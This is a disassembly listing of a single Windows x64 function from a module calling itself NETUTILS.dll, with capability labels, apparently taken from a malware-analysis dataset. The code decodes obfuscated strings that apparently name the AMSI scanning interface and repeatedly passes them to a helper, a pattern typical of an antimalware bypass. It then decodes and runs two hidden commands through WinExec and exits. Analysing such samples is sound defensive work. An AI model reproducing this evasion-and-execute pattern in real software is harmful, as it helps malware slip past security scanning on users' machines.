Function at 0x613c1de3
Capabilities:
Create process on windows
Terminate process

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x1a8
lea rbp, [rsp + 0x80]
movabs rax, 0x5157317a61513d3d
mov qword [rbp + 0x110], rax
mov byte [rbp + 0x118], 0
lea rax, [rbp + 0x110]
mov rcx, rax
call sym.NETUTILS.dll_revstr
movabs rax, 0x64484a70626d633d
mov qword [rbp + 0xf0], rax
movabs rax, 0x61564e6a59573554
mov qword [rbp + 0xf8], rax
mov dword [rbp + 0x100], 0x5157317a
mov byte [rbp + 0x104], 0
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.NETUTILS.dll_revstr
movabs rax, 0x64484a70626d633d
mov qword [rbp + 0xd0], rax
movabs rax, 0x61564e6a59573554
mov qword [rbp + 0xd8], rax
mov dword [rbp + 0xe0], 0x5157317a
mov byte [rbp + 0xe4], 0
lea rax, [rbp + 0xd0]
mov rcx, rax
call sym.NETUTILS.dll_revstr
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x110]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rax, [rbp + 0xd0]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x110]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp + 0x30]
lea rax, [0x613c5038]
mov ecx, 0x12
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rax, rsi
mov rdx, rdi
movzx ecx, byte [rax]
mov byte [rdx], cl
lea rdx, [rdx + 1]
lea rax, [rax + 1]
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.NETUTILS.dll_revstr
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x110]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rax, [rbp + 0xd0]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x110]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x110]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rax, [rbp + 0xd0]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x110]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
mov ecx, 2
call dbg.sleep
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x110]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rax, [rbp + 0xd0]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x110]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp - 0x60]
lea rax, [0x613c50d0]
mov ecx, 0x10
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rax, rsi
mov rdx, rdi
mov ecx, dword [rax]
mov dword [rdx], ecx
lea rdx, [rdx + 4]
lea rax, [rax + 4]
movzx ecx, byte [rax]
mov byte [rdx], cl
lea rdx, [rdx + 1]
lea rax, [rax + 1]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.NETUTILS.dll_revstr
mov ecx, 2
call dbg.sleep
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x110]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rax, [rbp + 0xd0]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x110]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x110]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rax, [rbp + 0xd0]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x110]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
nop